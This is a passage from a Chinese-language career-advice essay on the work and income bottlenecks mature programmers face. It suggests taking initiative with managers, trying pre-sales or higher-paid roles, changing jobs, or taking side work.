  程序员在工作上的现状,还是来自于软件公司或部门上级的安排所致,尽管自己在具体工作上付出很多,编程上有很大的自主权,但是从总体上来看,程序员只是企业经营过程中的执行人员,是一个被动的角色。因此,程序员要改变工作上的现状,程序员必须要有主动意识,尽可能主动地规划好自己的发展方向,主动地向上级反映自己的想法和打算争取上级的理解和支持,在工作条件许可的情况下,把自己的时间和精力以及主点放在自己关心的方面。例如,程序员感觉自己编程方面已经满足工作要求了,但是自己与客户打交道的能力,市场资源的积累很差。他就可以向主动上级提出自己想做售前工作,如果领导同意,则可以在这个岗位上,提高自己这方面的能力。在岗位不调整的情况下,可以根据自己的工作范围,尽可能多多和客户打交道,了解客户的需求,从而为自己开发的项目做好基础,同时通过与客户打交道和客户交朋友,为自己的市场资源做些积累。其实在工作层面上可以有很多值得改进的地方的。

  3、收入上瓶颈

  说到底程序员最大得瓶颈在于收入上的瓶颈,虽然经过多年的努力奋斗,收入也有了一定得提高,有的甚至达到了社会平均收入的中上水平。但是,面对中国的生活现实,买一套房需要花光几十年得收入(即使按揭还是要每月偿付本息的),而且工作很难稳定到几十年不变(除非是公务员)。因此,绝大部分程序员的收入是很难满足那种程序员向往的生活,尤其是过上中等生活的要求和过上稳定生活的要求。当然,例外总是有的,极少的程序员收入也是相当高的,生活过的很滋润。就普遍情况来看,我们付出的和得到的是不成比例的,这不能不说是社会的一种悲哀。回到某个程序员具体情况来看,程序员的收入一般比较稳定,有的一年动一次,有的几年动一次,这要看所在各公司情况和所在单位部门情况而定。程序员和其他职业的员工一样很少在工资收入方面有自己的话语权。

  程序员经历了成长过程的风风雨雨之后到了成熟阶段,收入应该比过去高了许多。但是程序员的预期和实际收入的反差是程序员内心最大的烦恼,因此,增加收入或大幅度增加收入是程序员无法突破得瓶颈。

  面对收入瓶颈,程序员应该调整心态,光靠埋怨是绝对无用的。要解决这个问题,程序员可以从以下几个方面来考虑。第一,程序员可以本公司部门进行收入增加的挖潜,可以主动提出调整到收入高的岗位,可以参加高奖金的项目开发,凡是能够增加收入的各种工作都可以考虑去做。第二,在这个基础上,如果程序员感到自己的收入还是无法达到自己的预期,不妨可以考虑离开这个公司或部门,通过应聘高薪工作的方式来提高自己的收入,当然这种选择还是要慎重的,要考虑多方面的影响,很多情况下收入不是唯一的因素,未来收入和现有收入很小的差距更是忽略不计的因素。第三,程序员在条件和精力的许可的情况下,可以从事一些第二职业,由于程序员这种职业特性,程序员可以独立完成某个编程任务,也可以和其他人共同完成编程任务的,通过从事第二职业,程序员可以增强市场意识,可以比本公司、本部门知道更多的软件的价值,结识更多的软件同行,学习更多编程技术,并且获得相应的劳动报酬。更重要的是在此期间可能会遇到自己发展的机遇。

  满足现状的程序员就不可能遇到这些瓶颈,他们会在一个自己的世界中得到满足,他们会在这种满足下持续自己的工作,求得一份平静的生活。而那些不满足现状的成熟程序员,那些追求优秀的程序员,因追求而困惑,因瓶颈而求突破。程序员只要不甘于现状,只要认定一切要靠自己,只要准备付出比过去能多精力,只要准备克服比过去跟多的困难,只要求新求变,最终都会破茧成蝶的。那绚丽的天空下,那自由飘飞的彩蝶正是他们未来的身影。